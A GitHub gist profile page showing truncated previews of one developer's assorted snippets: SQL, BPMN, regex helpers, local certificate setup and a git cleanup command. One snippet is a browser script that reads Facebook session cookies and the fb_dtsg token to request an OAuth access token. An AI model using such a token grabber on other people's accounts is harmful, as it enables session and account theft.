Skip to content

Instantly share code, notes, and snippets.

View hong4rc's full-sized avatar
https://stackoverflow.com/users/6250402/hongarc

Anh Hong hong4rc

https://stackoverflow.com/users/6250402/hongarc
  • KiaT
  • Vietnam
View GitHub Profile
INSERT INTO vz.sys_module (active, create_by, create_date, update_by, update_date, code, component_name, description, fa_icon, is_default, is_parent, name, order_number, parent_id, router_path, client_id, expanded) VALUES (true, 1, '2020-05-10 20:23:18.775000', 3, '2020-05-19 11:43:11.905000', 'TASK', './modules/task/task.module#TaskModule', null, 'icon-Talk-Man', true, true, 'Hồ sơ công việc', 699, null, '/task', 1, false);
INSERT INTO vz.sys_module (active, create_by, create_date, update_by, update_date, code, component_name, description, fa_icon, is_default, is_parent, name, order_number, parent_id, router_path, client_id, expanded) VALUES (true, 1, '2020-05-10 20:26:08.878000', 1, '2020-05-14 12:24:12.453000', 'ADMIN', './modules/admin/admin.module#AdminModule', null, 'icon-Wrench', true, true, 'Quản trị hệ thống', 89, null, 'admin', 1, null);
INSERT INTO vz.sys_module (active, create_by, create_date, update_by, update_date, code, component_name, description, fa_icon, is_default, is_parent, name, order_nu
CREATE OR REPLACE FUNCTION unsign(x text) RETURNS text AS
$$
DECLARE
cdau text; kdau text; r text;
BEGIN
cdau =
'áàảãạâấầẩẫậăắằẳẵặđéèẻẽẹêếềểễệíìỉĩịóòỏõọôốồổỗộơớờởỡợúùủũụưứừửữựýỳỷỹỵÁÀẢÃẠÂẤẦẨẪẬĂẮẰẲẴẶĐÉÈẺẼẸÊẾỀỂỄỆÍÌỈĨỊÓÒỎÕỌÔỐỒỔỖỘƠỚỜỞỠỢÚÙỦŨỤƯỨỪỬỮỰÝỲỶỸỴ';
kdau =
'aaaaaaaaaaaaaaaaadeeeeeeeeeeeiiiiiooooooooooooooooouuuuuuuuuuuyyyyyAAAAAAAAAAAAAAAAADEEEEEEEEEEEIIIIIOOOOOOOOOOOOOOOOOUUUUUUUUUUUYYYYY';
r = x;
<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL" xmlns:bpmndi="http://www.omg.org/spec/BPMN/20100524/DI" xmlns:omgdc="http://www.omg.org/spec/DD/20100524/DC" xmlns:omgdi="http://www.omg.org/spec/DD/20100524/DI" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" targetNamespace="" xsi:schemaLocation="http://www.omg.org/spec/BPMN/20100524/MODEL http://www.omg.org/spec/BPMN/2.0/20100501/BPMN20.xsd">
<collaboration id="Collaboration_1t5cfo1">
<participant id="Participant_17x3up3" processRef="Process_0hc6m51" />
</collaboration>
<process id="Process_0hc6m51">
<laneSet id="LaneSet_0xkaid4">
<lane id="Lane_0h8a6ba" name="Nhân viên">
<flowNodeRef>Event_00ri7gr</flowNodeRef>
<flowNodeRef>Gateway_0dtngxk</flowNodeRef>
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Test TS File",

Multi-space between token

'    int    a     = 12;   '.replace(/(?<!(^| ))  +/g, ' ');
//=> `    int a = 12; `

SSH->HTTPS

'git@git.company.com:pro/repo.git'.replace(/(?<pre>git@)(?<home>[-a-zA-Z0-9@%._\+~#=]+):(?<any>[-a-zA-Z0-9@%._\/+~#=:]+)(?<tail>\.git)/, 'https://$<home>/$<any>');
//=&gt; `https://git.company.com/pro/repo`
const cung = [
"Ma Kết", // 0
"Bảo Bình",
"Song Ngư",
"Bạch Dương",
"Kim Ngưu",
"Song Tử",
"Cự Giải",
"Sư Tử",
"Xử Nữ",
import { URL } from 'url';
import { writeFileSync } from 'fs';
import { join } from 'path';
import Browser from '../src/utils/Browser';
const browser = new Browser();
class AccManager {
token: string;
constructor(token: string) {

kiat.com https

kiat.com is sample domain add 127.0.0.1 kiat.com to host

  • openssl genrsa -des3 -out rootCA.key 2048
  • openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 1825 -out rootCA.pem
  • import rootCA.pem
  • openssl genrsa -out kiat.com.key 2048
  • openssl req -new -key kiat.com.key -out kiat.com.csr
'use strict';
const uid = document.cookie.match(/c_user=(\d+)/)[1],
dtsg = document.getElementsByName('fb_dtsg')[0].value,
http = new XMLHttpRequest,
url = '//www.facebook.com/v1.0/dialog/oauth/confirm',
params = `fb_dtsg=${dtsg}&app_id=165907476854626&redirect_uri=fbconnect%3A%2F%2Fsuccess&display=page&access_token=&from_post=1&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1&__user=${uid}`;
http.open('POST', url, !0),
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'),
http.onreadystatechange = function() {
git branch -vv | grep ': gone]'| grep -v "\*" | awk '{ print $1; }' | xargs -r git branch -d